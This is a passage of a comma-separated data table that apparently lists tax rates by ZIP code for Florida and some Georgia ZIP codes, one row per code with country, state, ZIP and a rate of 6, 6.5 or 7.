US-FL-33435,US,FL,33435,6,,,, US-FL-33436,US,FL,33436,6,,,, US-FL-33437,US,FL,33437,6,,,, US-FL-33438,US,FL,33438,6,,,, US-FL-33440,US,FL,33440,7,,,, US-FL-33441,US,FL,33441,6,,,, US-FL-33442,US,FL,33442,6,,,, US-FL-33443,US,FL,33443,6,,,, US-FL-33444,US,FL,33444,6,,,, US-FL-33445,US,FL,33445,6,,,, US-FL-33446,US,FL,33446,6,,,, US-FL-33448,US,FL,33448,6,,,, US-FL-33449,US,FL,33449,6,,,, US-FL-33454,US,FL,33454,6,,,, US-FL-33455,US,FL,33455,6,,,, US-FL-33458,US,FL,33458,6,,,, US-FL-33459,US,FL,33459,6,,,, US-FL-33460,US,FL,33460,6,,,, US-FL-33461,US,FL,33461,6,,,, US-FL-33462,US,FL,33462,6,,,, US-FL-33463,US,FL,33463,6,,,, US-FL-33464,US,FL,33464,6,,,, US-FL-33465,US,FL,33465,6,,,, US-FL-33466,US,FL,33466,6,,,, US-FL-33467,US,FL,33467,6,,,, US-FL-33468,US,FL,33468,6,,,, US-FL-33469,US,FL,33469,6,,,, US-FL-33470,US,FL,33470,6,,,, US-FL-33471,US,FL,33471,7,,,, US-FL-33472,US,FL,33472,6,,,, US-FL-33473,US,FL,33473,6,,,, US-FL-33474,US,FL,33474,6,,,, US-FL-33475,US,FL,33475,6,,,, US-FL-33476,US,FL,33476,6,,,, US-FL-33477,US,FL,33477,6,,,, US-FL-33478,US,FL,33478,6,,,, US-FL-33480,US,FL,33480,6,,,, US-FL-33481,US,FL,33481,6,,,, US-FL-33482,US,FL,33482,6,,,, US-FL-33483,US,FL,33483,6,,,, US-FL-33484,US,FL,33484,6,,,, US-FL-33486,US,FL,33486,6,,,, US-FL-33487,US,FL,33487,6,,,, US-FL-33488,US,FL,33488,6,,,, US-FL-33493,US,FL,33493,6,,,, US-FL-33496,US,FL,33496,6,,,, US-FL-33497,US,FL,33497,6,,,, US-FL-33498,US,FL,33498,6,,,, US-FL-33499,US,FL,33499,6,,,, US-FL-33503,US,FL,33503,7,,,, US-FL-33508,US,FL,33508,7,,,, US-FL-33509,US,FL,33509,7,,,, US-FL-33510,US,FL,33510,7,,,, US-FL-33511,US,FL,33511,7,,,, US-FL-33513,US,FL,33513,7,,,, US-FL-33514,US,FL,33514,7,,,, US-FL-33521,US,FL,33521,7,,,, US-FL-33523,US,FL,33523,7,,,, US-FL-33524,US,FL,33524,7,,,, US-FL-33525,US,FL,33525,7,,,, US-FL-33526,US,FL,33526,7,,,, US-FL-33527,US,FL,33527,7,,,, US-FL-33530,US,FL,33530,7,,,, US-FL-33534,US,FL,33534,7,,,, US-FL-33537,US,FL,33537,7,,,, US-FL-33538,US,FL,33538,7,,,, US-FL-33540,US,FL,33540,7,,,, US-FL-33541,US,FL,33541,7,,,, US-FL-33542,US,FL,33542,7,,,, US-FL-33543,US,FL,33543,7,,,, US-FL-33544,US,FL,33544,7,,,, US-FL-33545,US,FL,33545,7,,,, US-FL-33547,US,FL,33547,7,,,, US-FL-33548,US,FL,33548,7,,,, US-FL-33549,US,FL,33549,7,,,, US-FL-33550,US,FL,33550,7,,,, US-FL-33556,US,FL,33556,7,,,, US-FL-33558,US,FL,33558,7,,,, US-FL-33559,US,FL,33559,7,,,, US-FL-33563,US,FL,33563,7,,,, US-FL-33564,US,FL,33564,7,,,, US-FL-33565,US,FL,33565,7,,,, US-FL-33566,US,FL,33566,7,,,, US-FL-33567,US,FL,33567,7,,,, US-FL-33568,US,FL,33568,7,,,, US-FL-33569,US,FL,33569,7,,,, US-FL-33570,US,FL,33570,7,,,, US-FL-33571,US,FL,33571,7,,,, US-FL-33572,US,FL,33572,7,,,, US-FL-33573,US,FL,33573,7,,,, US-FL-33574,US,FL,33574,7,,,, US-FL-33575,US,FL,33575,7,,,, US-FL-33576,US,FL,33576,7,,,, US-FL-33578,US,FL,33578,7,,,, US-FL-33579,US,FL,33579,7,,,, US-FL-33583,US,FL,33583,7,,,, US-FL-33584,US,FL,33584,7,,,, US-FL-33585,US,FL,33585,7,,,, US-FL-33586,US,FL,33586,7,,,, US-FL-33587,US,FL,33587,7,,,, US-FL-33592,US,FL,33592,7,,,, US-FL-33593,US,FL,33593,7,,,, US-FL-33594,US,FL,33594,7,,,, US-FL-33595,US,FL,33595,7,,,, US-FL-33596,US,FL,33596,7,,,, US-FL-33597,US,FL,33597,7,,,, US-FL-33598,US,FL,33598,7,,,, US-FL-33601,US,FL,33601,7,,,, US-FL-33602,US,FL,33602,7,,,, US-FL-33603,US,FL,33603,7,,,, US-FL-33604,US,FL,33604,7,,,, US-FL-33605,US,FL,33605,7,,,, US-FL-33606,US,FL,33606,7,,,, US-FL-33607,US,FL,33607,7,,,, US-FL-33608,US,FL,33608,7,,,, US-FL-33609,US,FL,33609,7,,,, US-FL-33610,US,FL,33610,7,,,, US-FL-33611,US,FL,33611,7,,,, US-FL-33612,US,FL,33612,7,,,, US-FL-33613,US,FL,33613,7,,,, US-FL-33614,US,FL,33614,7,,,, US-FL-33615,US,FL,33615,7,,,, US-FL-33616,US,FL,33616,7,,,, US-FL-33617,US,FL,33617,7,,,, US-FL-33618,US,FL,33618,7,,,, US-FL-33619,US,FL,33619,7,,,, US-FL-33620,US,FL,33620,7,,,, US-FL-33621,US,FL,33621,7,,,, US-FL-33622,US,FL,33622,7,,,, US-FL-33623,US,FL,33623,7,,,, US-FL-33624,US,FL,33624,7,,,, US-FL-33625,US,FL,33625,7,,,, US-FL-33626,US,FL,33626,7,,,, US-FL-33629,US,FL,33629,7,,,, US-FL-33630,US,FL,33630,7,,,, US-FL-33631,US,FL,33631,7,,,, US-FL-33633,US,FL,33633,7,,,, US-FL-33634,US,FL,33634,7,,,, US-FL-33635,US,FL,33635,7,,,, US-FL-33637,US,FL,33637,7,,,, US-FL-33646,US,FL,33646,7,,,, US-FL-33647,US,FL,33647,7,,,, US-FL-33650,US,FL,33650,7,,,, US-FL-33655,US,FL,33655,7,,,, US-FL-33660,US,FL,33660,7,,,, US-FL-33661,US,FL,33661,7,,,, US-FL-33662,US,FL,33662,7,,,, US-FL-33663,US,FL,33663,7,,,, US-FL-33664,US,FL,33664,7,,,, US-FL-33672,US,FL,33672,7,,,, US-FL-33673,US,FL,33673,7,,,, US-FL-33674,US,FL,33674,7,,,, US-FL-33675,US,FL,33675,7,,,, US-FL-33677,US,FL,33677,7,,,, US-FL-33679,US,FL,33679,7,,,, US-FL-33680,US,FL,33680,7,,,, US-FL-33681,US,FL,33681,7,,,, US-FL-33682,US,FL,33682,7,,,, US-FL-33684,US,FL,33684,7,,,, US-FL-33685,US,FL,33685,7,,,, US-FL-33686,US,FL,33686,7,,,, US-FL-33687,US,FL,33687,7,,,, US-FL-33688,US,FL,33688,7,,,, US-FL-33689,US,FL,33689,7,,,, US-FL-33694,US,FL,33694,7,,,, US-FL-33701,US,FL,33701,7,,,, US-FL-33702,US,FL,33702,7,,,, US-FL-33703,US,FL,33703,7,,,, US-FL-33704,US,FL,33704,7,,,, US-FL-33705,US,FL,33705,7,,,, US-FL-33706,US,FL,33706,7,,,, US-FL-33707,US,FL,33707,7,,,, US-FL-33708,US,FL,33708,7,,,, US-FL-33709,US,FL,33709,7,,,, US-FL-33710,US,FL,33710,7,,,, US-FL-33711,US,FL,33711,7,,,, US-FL-33712,US,FL,33712,7,,,, US-FL-33713,US,FL,33713,7,,,, US-FL-33714,US,FL,33714,7,,,, US-FL-33715,US,FL,33715,7,,,, US-FL-33716,US,FL,33716,7,,,, US-FL-33729,US,FL,33729,7,,,, US-FL-33730,US,FL,33730,7,,,, US-FL-33731,US,FL,33731,7,,,, US-FL-33732,US,FL,33732,7,,,, US-FL-33733,US,FL,33733,7,,,, US-FL-33734,US,FL,33734,7,,,, US-FL-33736,US,FL,33736,7,,,, US-FL-33737,US,FL,33737,7,,,, US-FL-33738,US,FL,33738,7,,,, US-FL-33740,US,FL,33740,7,,,, US-FL-33741,US,FL,33741,7,,,, US-FL-33742,US,FL,33742,7,,,, US-FL-33743,US,FL,33743,7,,,, US-FL-33744,US,FL,33744,7,,,, US-FL-33747,US,FL,33747,7,,,, US-FL-33755,US,FL,33755,7,,,, US-FL-33756,US,FL,33756,7,,,, US-FL-33757,US,FL,33757,7,,,, US-FL-33758,US,FL,33758,7,,,, US-FL-33759,US,FL,33759,7,,,, US-FL-33760,US,FL,33760,7,,,, US-FL-33761,US,FL,33761,7,,,, US-FL-33762,US,FL,33762,7,,,, US-FL-33763,US,FL,33763,7,,,, US-FL-33764,US,FL,33764,7,,,, US-FL-33765,US,FL,33765,7,,,, US-FL-33766,US,FL,33766,7,,,, US-FL-33767,US,FL,33767,7,,,, US-FL-33769,US,FL,33769,7,,,, US-FL-33770,US,FL,33770,7,,,, US-FL-33771,US,FL,33771,7,,,, US-FL-33772,US,FL,33772,7,,,, US-FL-33773,US,FL,33773,7,,,, US-FL-33774,US,FL,33774,7,,,, US-FL-33775,US,FL,33775,7,,,, US-FL-33776,US,FL,33776,7,,,, US-FL-33777,US,FL,33777,7,,,, US-FL-33778,US,FL,33778,7,,,, US-FL-33779,US,FL,33779,7,,,, US-FL-33780,US,FL,33780,7,,,, US-FL-33781,US,FL,33781,7,,,, US-FL-33782,US,FL,33782,7,,,, US-FL-33784,US,FL,33784,7,,,, US-FL-33785,US,FL,33785,7,,,, US-FL-33786,US,FL,33786,7,,,, US-FL-33801,US,FL,33801,7,,,, US-FL-33802,US,FL,33802,7,,,, US-FL-33803,US,FL,33803,7,,,, US-FL-33804,US,FL,33804,7,,,, US-FL-33805,US,FL,33805,7,,,, US-FL-33806,US,FL,33806,7,,,, US-FL-33807,US,FL,33807,7,,,, US-FL-33809,US,FL,33809,7,,,, US-FL-33810,US,FL,33810,7,,,, US-FL-33811,US,FL,33811,7,,,, US-FL-33812,US,FL,33812,7,,,, US-FL-33813,US,FL,33813,7,,,, US-FL-33815,US,FL,33815,7,,,, US-FL-33820,US,FL,33820,7,,,, US-FL-33823,US,FL,33823,7,,,, US-FL-33825,US,FL,33825,7,,,, US-FL-33826,US,FL,33826,7,,,, US-FL-33827,US,FL,33827,7,,,, US-FL-33830,US,FL,33830,7,,,, US-FL-33831,US,FL,33831,7,,,, US-FL-33834,US,FL,33834,7,,,, US-FL-33835,US,FL,33835,7,,,, US-FL-33836,US,FL,33836,7,,,, US-FL-33837,US,FL,33837,7,,,, US-FL-33838,US,FL,33838,7,,,, US-FL-33839,US,FL,33839,7,,,, US-FL-33840,US,FL,33840,7,,,, US-FL-33841,US,FL,33841,7,,,, US-FL-33843,US,FL,33843,7,,,, US-FL-33844,US,FL,33844,7,,,, US-FL-33845,US,FL,33845,7,,,, US-FL-33846,US,FL,33846,7,,,, US-FL-33847,US,FL,33847,7,,,, US-FL-33848,US,FL,33848,7,,,, US-FL-33849,US,FL,33849,7,,,, US-FL-33850,US,FL,33850,7,,,, US-FL-33851,US,FL,33851,7,,,, US-FL-33852,US,FL,33852,7,,,, US-FL-33853,US,FL,33853,7,,,, US-FL-33854,US,FL,33854,7,,,, US-FL-33855,US,FL,33855,7,,,, US-FL-33856,US,FL,33856,7,,,, US-FL-33857,US,FL,33857,7,,,, US-FL-33858,US,FL,33858,7,,,, US-FL-33859,US,FL,33859,7,,,, US-FL-33860,US,FL,33860,7,,,, US-FL-33862,US,FL,33862,7,,,, US-FL-33863,US,FL,33863,7,,,, US-FL-33865,US,FL,33865,7,,,, US-FL-33867,US,FL,33867,7,,,, US-FL-33868,US,FL,33868,7,,,, US-FL-33870,US,FL,33870,7,,,, US-FL-33871,US,FL,33871,7,,,, US-FL-33872,US,FL,33872,7,,,, US-FL-33873,US,FL,33873,7,,,, US-FL-33875,US,FL,33875,7,,,, US-FL-33876,US,FL,33876,7,,,, US-FL-33877,US,FL,33877,7,,,, US-FL-33880,US,FL,33880,7,,,, US-FL-33881,US,FL,33881,7,,,, US-FL-33882,US,FL,33882,7,,,, US-FL-33883,US,FL,33883,7,,,, US-FL-33884,US,FL,33884,7,,,, US-FL-33885,US,FL,33885,7,,,, US-FL-33888,US,FL,33888,7,,,, US-FL-33890,US,FL,33890,7,,,, US-FL-33896,US,FL,33896,7,,,, US-FL-33897,US,FL,33897,7,,,, US-FL-33898,US,FL,33898,7,,,, US-FL-33901,US,FL,33901,6,,,, US-FL-33902,US,FL,33902,6,,,, US-FL-33903,US,FL,33903,6,,,, US-FL-33904,US,FL,33904,6,,,, US-FL-33905,US,FL,33905,6,,,, US-FL-33906,US,FL,33906,6,,,, US-FL-33907,US,FL,33907,6,,,, US-FL-33908,US,FL,33908,6,,,, US-FL-33909,US,FL,33909,6,,,, US-FL-33910,US,FL,33910,6,,,, US-FL-33911,US,FL,33911,6,,,, US-FL-33912,US,FL,33912,6,,,, US-FL-33913,US,FL,33913,6,,,, US-FL-33914,US,FL,33914,6,,,, US-FL-33915,US,FL,33915,6,,,, US-FL-33916,US,FL,33916,6,,,, US-FL-33917,US,FL,33917,6,,,, US-FL-33918,US,FL,33918,6,,,, US-FL-33919,US,FL,33919,6,,,, US-FL-33920,US,FL,33920,6,,,, US-FL-33921,US,FL,33921,6,,,, US-FL-33922,US,FL,33922,6,,,, US-FL-33924,US,FL,33924,6,,,, US-FL-33927,US,FL,33927,7,,,, US-FL-33928,US,FL,33928,6,,,, US-FL-33929,US,FL,33929,6,,,, US-FL-33930,US,FL,33930,7,,,, US-FL-33931,US,FL,33931,6,,,, US-FL-33932,US,FL,33932,6,,,, US-FL-33935,US,FL,33935,7,,,, US-FL-33936,US,FL,33936,6,,,, US-FL-33938,US,FL,33938,7,,,, US-FL-33944,US,FL,33944,7,,,, US-FL-33945,US,FL,33945,6,,,, US-FL-33946,US,FL,33946,7,,,, US-FL-33947,US,FL,33947,7,,,, US-FL-33948,US,FL,33948,7,,,, US-FL-33949,US,FL,33949,7,,,, US-FL-33950,US,FL,33950,7,,,, US-FL-33951,US,FL,33951,7,,,, US-FL-33952,US,FL,33952,7,,,, US-FL-33953,US,FL,33953,7,,,, US-FL-33954,US,FL,33954,7,,,, US-FL-33955,US,FL,33955,7,,,, US-FL-33956,US,FL,33956,6,,,, US-FL-33957,US,FL,33957,6,,,, US-FL-33960,US,FL,33960,7,,,, US-FL-33965,US,FL,33965,6,,,, US-FL-33966,US,FL,33966,6,,,, US-FL-33967,US,FL,33967,6,,,, US-FL-33970,US,FL,33970,6,,,, US-FL-33971,US,FL,33971,6,,,, US-FL-33972,US,FL,33972,6,,,, US-FL-33973,US,FL,33973,6,,,, US-FL-33974,US,FL,33974,6,,,, US-FL-33975,US,FL,33975,7,,,, US-FL-33976,US,FL,33976,6,,,, US-FL-33980,US,FL,33980,7,,,, US-FL-33981,US,FL,33981,7,,,, US-FL-33982,US,FL,33982,7,,,, US-FL-33983,US,FL,33983,7,,,, US-FL-33990,US,FL,33990,6,,,, US-FL-33991,US,FL,33991,6,,,, US-FL-33993,US,FL,33993,6,,,, US-FL-33994,US,FL,33994,6,,,, US-FL-34101,US,FL,34101,6,,,, US-FL-34102,US,FL,34102,6,,,, US-FL-34103,US,FL,34103,6,,,, US-FL-34104,US,FL,34104,6,,,, US-FL-34105,US,FL,34105,6,,,, US-FL-34106,US,FL,34106,6,,,, US-FL-34107,US,FL,34107,6,,,, US-FL-34108,US,FL,34108,6,,,, US-FL-34109,US,FL,34109,6,,,, US-FL-34110,US,FL,34110,6,,,, US-FL-34112,US,FL,34112,6,,,, US-FL-34113,US,FL,34113,6,,,, US-FL-34114,US,FL,34114,6,,,, US-FL-34116,US,FL,34116,6,,,, US-FL-34117,US,FL,34117,6,,,, US-FL-34119,US,FL,34119,6,,,, US-FL-34120,US,FL,34120,6,,,, US-FL-34133,US,FL,34133,6,,,, US-FL-34134,US,FL,34134,6,,,, US-FL-34135,US,FL,34135,6,,,, US-FL-34136,US,FL,34136,6,,,, US-FL-34137,US,FL,34137,6,,,, US-FL-34138,US,FL,34138,6,,,, US-FL-34139,US,FL,34139,6,,,, US-FL-34140,US,FL,34140,6,,,, US-FL-34141,US,FL,34141,6,,,, US-FL-34142,US,FL,34142,6,,,, US-FL-34143,US,FL,34143,6,,,, US-FL-34145,US,FL,34145,6,,,, US-FL-34146,US,FL,34146,6,,,, US-FL-34201,US,FL,34201,6.5,,,, US-FL-34202,US,FL,34202,6.5,,,, US-FL-34203,US,FL,34203,6.5,,,, US-FL-34204,US,FL,34204,6.5,,,, US-FL-34205,US,FL,34205,6.5,,,, US-FL-34206,US,FL,34206,6.5,,,, US-FL-34207,US,FL,34207,6.5,,,, US-FL-34208,US,FL,34208,6.5,,,, US-FL-34209,US,FL,34209,6.5,,,, US-FL-34210,US,FL,34210,6.5,,,, US-FL-34211,US,FL,34211,6.5,,,, US-FL-34212,US,FL,34212,6.5,,,, US-FL-34215,US,FL,34215,6.5,,,, US-FL-34216,US,FL,34216,6.5,,,, US-FL-34217,US,FL,34217,6.5,,,, US-FL-34218,US,FL,34218,6.5,,,, US-FL-34219,US,FL,34219,6.5,,,, US-FL-34220,US,FL,34220,6.5,,,, US-FL-34221,US,FL,34221,6.5,,,, US-FL-34222,US,FL,34222,6.5,,,, US-FL-34223,US,FL,34223,7,,,, US-FL-34224,US,FL,34224,7,,,, US-FL-34228,US,FL,34228,7,,,, US-FL-34229,US,FL,34229,7,,,, US-FL-34230,US,FL,34230,7,,,, US-FL-34231,US,FL,34231,7,,,, US-FL-34232,US,FL,34232,7,,,, US-FL-34233,US,FL,34233,7,,,, US-FL-34234,US,FL,34234,7,,,, US-FL-34235,US,FL,34235,7,,,, US-FL-34236,US,FL,34236,7,,,, US-FL-34237,US,FL,34237,7,,,, US-FL-34238,US,FL,34238,7,,,, US-FL-34239,US,FL,34239,7,,,, US-FL-34240,US,FL,34240,7,,,, US-FL-34241,US,FL,34241,7,,,, US-FL-34242,US,FL,34242,7,,,, US-FL-34243,US,FL,34243,6.5,,,, US-FL-34250,US,FL,34250,6.5,,,, US-FL-34251,US,FL,34251,6.5,,,, US-FL-34260,US,FL,34260,6.5,,,, US-FL-34264,US,FL,34264,6.5,,,, US-FL-34265,US,FL,34265,7,,,, US-FL-34266,US,FL,34266,7,,,, US-FL-34267,US,FL,34267,7,,,, US-FL-34268,US,FL,34268,7,,,, US-FL-34269,US,FL,34269,7,,,, US-FL-34270,US,FL,34270,6.5,,,, US-FL-34272,US,FL,34272,7,,,, US-FL-34274,US,FL,34274,7,,,, US-FL-34275,US,FL,34275,7,,,, US-FL-34276,US,FL,34276,7,,,, US-FL-34277,US,FL,34277,7,,,, US-FL-34278,US,FL,34278,7,,,, US-FL-34280,US,FL,34280,6.5,,,, US-FL-34281,US,FL,34281,6.5,,,, US-FL-34282,US,FL,34282,6.5,,,, US-FL-34284,US,FL,34284,7,,,, US-FL-34285,US,FL,34285,7,,,, US-FL-34286,US,FL,34286,7,,,, US-FL-34287,US,FL,34287,7,,,, US-FL-34288,US,FL,34288,7,,,, US-FL-34289,US,FL,34289,7,,,, US-FL-34290,US,FL,34290,7,,,, US-FL-34291,US,FL,34291,7,,,, US-FL-34292,US,FL,34292,7,,,, US-FL-34293,US,FL,34293,7,,,, US-FL-34295,US,FL,34295,7,,,, US-FL-34420,US,FL,34420,6,,,, US-FL-34421,US,FL,34421,6,,,, US-FL-34423,US,FL,34423,6,,,, US-FL-34428,US,FL,34428,6,,,, US-FL-34429,US,FL,34429,6,,,, US-FL-34430,US,FL,34430,6,,,, US-FL-34431,US,FL,34431,6,,,, US-FL-34432,US,FL,34432,6,,,, US-FL-34433,US,FL,34433,6,,,, US-FL-34434,US,FL,34434,6,,,, US-FL-34436,US,FL,34436,6,,,, US-FL-34441,US,FL,34441,6,,,, US-FL-34442,US,FL,34442,6,,,, US-FL-34445,US,FL,34445,6,,,, US-FL-34446,US,FL,34446,6,,,, US-FL-34447,US,FL,34447,6,,,, US-FL-34448,US,FL,34448,6,,,, US-FL-34449,US,FL,34449,7,,,, US-FL-34450,US,FL,34450,6,,,, US-FL-34451,US,FL,34451,6,,,, US-FL-34452,US,FL,34452,6,,,, US-FL-34453,US,FL,34453,6,,,, US-FL-34460,US,FL,34460,6,,,, US-FL-34461,US,FL,34461,6,,,, US-FL-34464,US,FL,34464,6,,,, US-FL-34465,US,FL,34465,6,,,, US-FL-34470,US,FL,34470,6,,,, US-FL-34471,US,FL,34471,6,,,, US-FL-34472,US,FL,34472,6,,,, US-FL-34473,US,FL,34473,6,,,, US-FL-34474,US,FL,34474,6,,,, US-FL-34475,US,FL,34475,6,,,, US-FL-34476,US,FL,34476,6,,,, US-FL-34477,US,FL,34477,6,,,, US-FL-34478,US,FL,34478,6,,,, US-FL-34479,US,FL,34479,6,,,, US-FL-34480,US,FL,34480,6,,,, US-FL-34481,US,FL,34481,6,,,, US-FL-34482,US,FL,34482,6,,,, US-FL-34483,US,FL,34483,6,,,, US-FL-34484,US,FL,34484,7,,,, US-FL-34487,US,FL,34487,6,,,, US-FL-34488,US,FL,34488,6,,,, US-FL-34489,US,FL,34489,6,,,, US-FL-34491,US,FL,34491,6,,,, US-FL-34492,US,FL,34492,6,,,, US-FL-34498,US,FL,34498,7,,,, US-FL-34601,US,FL,34601,6.5,,,, US-FL-34602,US,FL,34602,6.5,,,, US-FL-34603,US,FL,34603,6.5,,,, US-FL-34604,US,FL,34604,6.5,,,, US-FL-34605,US,FL,34605,6.5,,,, US-FL-34606,US,FL,34606,6.5,,,, US-FL-34607,US,FL,34607,6.5,,,, US-FL-34608,US,FL,34608,6.5,,,, US-FL-34609,US,FL,34609,6.5,,,, US-FL-34610,US,FL,34610,7,,,, US-FL-34611,US,FL,34611,6.5,,,, US-FL-34613,US,FL,34613,6.5,,,, US-FL-34614,US,FL,34614,6.5,,,, US-FL-34636,US,FL,34636,6.5,,,, US-FL-34637,US,FL,34637,7,,,, US-FL-34638,US,FL,34638,7,,,, US-FL-34639,US,FL,34639,7,,,, US-FL-34652,US,FL,34652,7,,,, US-FL-34653,US,FL,34653,7,,,, US-FL-34654,US,FL,34654,7,,,, US-FL-34655,US,FL,34655,7,,,, US-FL-34656,US,FL,34656,7,,,, US-FL-34660,US,FL,34660,7,,,, US-FL-34661,US,FL,34661,6.5,,,, US-FL-34667,US,FL,34667,7,,,, US-FL-34668,US,FL,34668,7,,,, US-FL-34669,US,FL,34669,7,,,, US-FL-34673,US,FL,34673,7,,,, US-FL-34674,US,FL,34674,7,,,, US-FL-34677,US,FL,34677,7,,,, US-FL-34679,US,FL,34679,7,,,, US-FL-34680,US,FL,34680,7,,,, US-FL-34681,US,FL,34681,7,,,, US-FL-34682,US,FL,34682,7,,,, US-FL-34683,US,FL,34683,7,,,, US-FL-34684,US,FL,34684,7,,,, US-FL-34685,US,FL,34685,7,,,, US-FL-34688,US,FL,34688,7,,,, US-FL-34689,US,FL,34689,7,,,, US-FL-34690,US,FL,34690,7,,,, US-FL-34691,US,FL,34691,7,,,, US-FL-34692,US,FL,34692,7,,,, US-FL-34695,US,FL,34695,7,,,, US-FL-34697,US,FL,34697,7,,,, US-FL-34698,US,FL,34698,7,,,, US-FL-34705,US,FL,34705,7,,,, US-FL-34711,US,FL,34711,7,,,, US-FL-34712,US,FL,34712,7,,,, US-FL-34713,US,FL,34713,7,,,, US-FL-34714,US,FL,34714,7,,,, US-FL-34715,US,FL,34715,7,,,, US-FL-34729,US,FL,34729,7,,,, US-FL-34731,US,FL,34731,7,,,, US-FL-34734,US,FL,34734,6.5,,,, US-FL-34736,US,FL,34736,7,,,, US-FL-34737,US,FL,34737,7,,,, US-FL-34739,US,FL,34739,7,,,, US-FL-34740,US,FL,34740,6.5,,,, US-FL-34741,US,FL,34741,7,,,, US-FL-34742,US,FL,34742,7,,,, US-FL-34743,US,FL,34743,7,,,, US-FL-34744,US,FL,34744,7,,,, US-FL-34745,US,FL,34745,7,,,, US-FL-34746,US,FL,34746,7,,,, US-FL-34747,US,FL,34747,7,,,, US-FL-34748,US,FL,34748,7,,,, US-FL-34749,US,FL,34749,7,,,, US-FL-34753,US,FL,34753,7,,,, US-FL-34755,US,FL,34755,7,,,, US-FL-34756,US,FL,34756,7,,,, US-FL-34758,US,FL,34758,7,,,, US-FL-34759,US,FL,34759,7,,,, US-FL-34760,US,FL,34760,6.5,,,, US-FL-34761,US,FL,34761,6.5,,,, US-FL-34762,US,FL,34762,7,,,, US-FL-34769,US,FL,34769,7,,,, US-FL-34770,US,FL,34770,7,,,, US-FL-34771,US,FL,34771,7,,,, US-FL-34772,US,FL,34772,7,,,, US-FL-34773,US,FL,34773,7,,,, US-FL-34777,US,FL,34777,6.5,,,, US-FL-34778,US,FL,34778,6.5,,,, US-FL-34785,US,FL,34785,7,,,, US-FL-34786,US,FL,34786,6.5,,,, US-FL-34787,US,FL,34787,6.5,,,, US-FL-34788,US,FL,34788,7,,,, US-FL-34789,US,FL,34789,7,,,, US-FL-34797,US,FL,34797,7,,,, US-FL-34945,US,FL,34945,6.5,,,, US-FL-34946,US,FL,34946,6.5,,,, US-FL-34947,US,FL,34947,6.5,,,, US-FL-34948,US,FL,34948,6.5,,,, US-FL-34949,US,FL,34949,6.5,,,, US-FL-34950,US,FL,34950,6.5,,,, US-FL-34951,US,FL,34951,6.5,,,, US-FL-34952,US,FL,34952,6.5,,,, US-FL-34953,US,FL,34953,6.5,,,, US-FL-34954,US,FL,34954,6.5,,,, US-FL-34956,US,FL,34956,6,,,, US-FL-34957,US,FL,34957,6,,,, US-FL-34958,US,FL,34958,6,,,, US-FL-34972,US,FL,34972,7,,,, US-FL-34973,US,FL,34973,7,,,, US-FL-34974,US,FL,34974,7,,,, US-FL-34979,US,FL,34979,6.5,,,, US-FL-34981,US,FL,34981,6.5,,,, US-FL-34982,US,FL,34982,6.5,,,, US-FL-34983,US,FL,34983,6.5,,,, US-FL-34984,US,FL,34984,6.5,,,, US-FL-34985,US,FL,34985,6.5,,,, US-FL-34986,US,FL,34986,6.5,,,, US-FL-34987,US,FL,34987,6.5,,,, US-FL-34988,US,FL,34988,6.5,,,, US-FL-34990,US,FL,34990,6,,,, US-FL-34991,US,FL,34991,6,,,, US-FL-34992,US,FL,34992,6,,,, US-FL-34994,US,FL,34994,6,,,, US-FL-34995,US,FL,34995,6,,,, US-FL-34996,US,FL,34996,6,,,, US-FL-34997,US,FL,34997,6,,,, US-GA-30002,US,GA,30002,7,,,, US-GA-30003,US,GA,30003,6,,,, US-GA-30004,US,GA,30004,7,,,, US-GA-30005,US,GA,30005,7,,,, US-GA-30006,US,GA,30006,6,,,, US-GA-30007,US,GA,30007,6,,,, US-GA-30008,US,GA,30008,6,,,, US-GA-30009,US,GA,30009,7,,,, US-GA-30010,US,GA,30010,6,,,, US-GA-30011,US,GA,30011,7,,,, US-GA-30012,US,GA,30012,6,,,, US-GA-30013,US,GA,30013,6,,,, US-GA-30014,US,GA,30014,7,,,, US-GA-30015,US,GA,30015,7,,,, US-GA-30016,US,GA,30016,7,,,, US-GA-30017,US,GA,30017,6,,,, US-GA-30018,US,GA,30018,7,,,, US-GA-30019,US,GA,30019,6,,,, US-GA-30021,US,GA,30021,7,,,, US-GA-30022,US,GA,30022,7,,,, US-GA-30023,US,GA,30023,7,,,, US-GA-30024,US,GA,30024,6,,,, US-GA-30025,US,GA,30025,7,,,, US-GA-30026,US,GA,30026,6,,,, US-GA-30028,US,GA,30028,7,,,, US-GA-30029,US,GA,30029,6,,,, US-GA-30030,US,GA,30030,7,,,, US-GA-30031,US,GA,30031,7,,,, US-GA-30032,US,GA,30032,7,,,, US-GA-30033,US,GA,30033,7,,,, US-GA-30034,US,GA,30034,7,,,, US-GA-30035,US,GA,30035,7,,,, US-GA-30036,US,GA,30036,7,,,, US-GA-30037,US,GA,30037,7,,,, US-GA-30038,US,GA,30038,7,,,, US-GA-30039,US,GA,30039,6,,,, US-GA-30040,US,GA,30040,7,,,, US-GA-30041,US,GA,30041,7,,,, US-GA-30042,US,GA,30042,6,,,, US-GA-30043,US,GA,30043,6,,,, US-GA-30044,US,GA,30044,6,,,, US-GA-30045,US,GA,30045,6,,,, US-GA-30046,US,GA,30046,6,,,, US-GA-30047,US,GA,30047,6,,,, US-GA-30048,US,GA,30048,6,,,, US-GA-30049,US,GA,30049,6,,,, US-GA-30052,US,GA,30052,6,,,, US-GA-30054,US,GA,30054,7,,,, US-GA-30055,US,GA,30055,7,,,, US-GA-30056,US,GA,30056,7,,,, US-GA-30058,US,GA,30058,7,,,, US-GA-30060,US,GA,30060,6,,,, US-GA-30061,US,GA,30061,6,,,, US-GA-30062,US,GA,30062,6,,,, US-GA-30063,US,GA,30063,6,,,, US-GA-30064,US,GA,30064,6,,,, US-GA-30065,US,GA,30065,6,,,, US-GA-30066,US,GA,30066,6,,,, US-GA-30067,US,GA,30067,6,,,, US-GA-30068,US,GA,30068,6,,,, US-GA-30069,US,GA,30069,6,,,, US-GA-30070,US,GA,30070,7,,,, US-GA-30071,US,GA,30071,6,,,, US-GA-30072,US,GA,30072,7,,,, US-GA-30074,US,GA,30074,7,,,, US-GA-30075,US,GA,30075,7,,,, US-GA-30076,US,GA,30076,7,,,, US-GA-30077,US,GA,30077,7,,,, US-GA-30078,US,GA,30078,6,,,, US-GA-30079,US,GA,30079,7,,,, US-GA-30080,US,GA,30080,6,,,, US-GA-30081,US,GA,30081,6,,,, US-GA-30082,US,GA,30082,6,,,, US-GA-30083,US,GA,30083,7,,,, US-GA-30084,US,GA,30084,7,,,, US-GA-30085,US,GA,30085,7,,,, US-GA-30086,US,GA,30086,7,,,, US-GA-30087,US,GA,30087,7,,,, US-GA-30088,US,GA,30088,7,,,, US-GA-30090,US,GA,30090,6,,,, US-GA-30091,US,GA,30091,6,,,, US-GA-30092,US,GA,30092,6,,,, 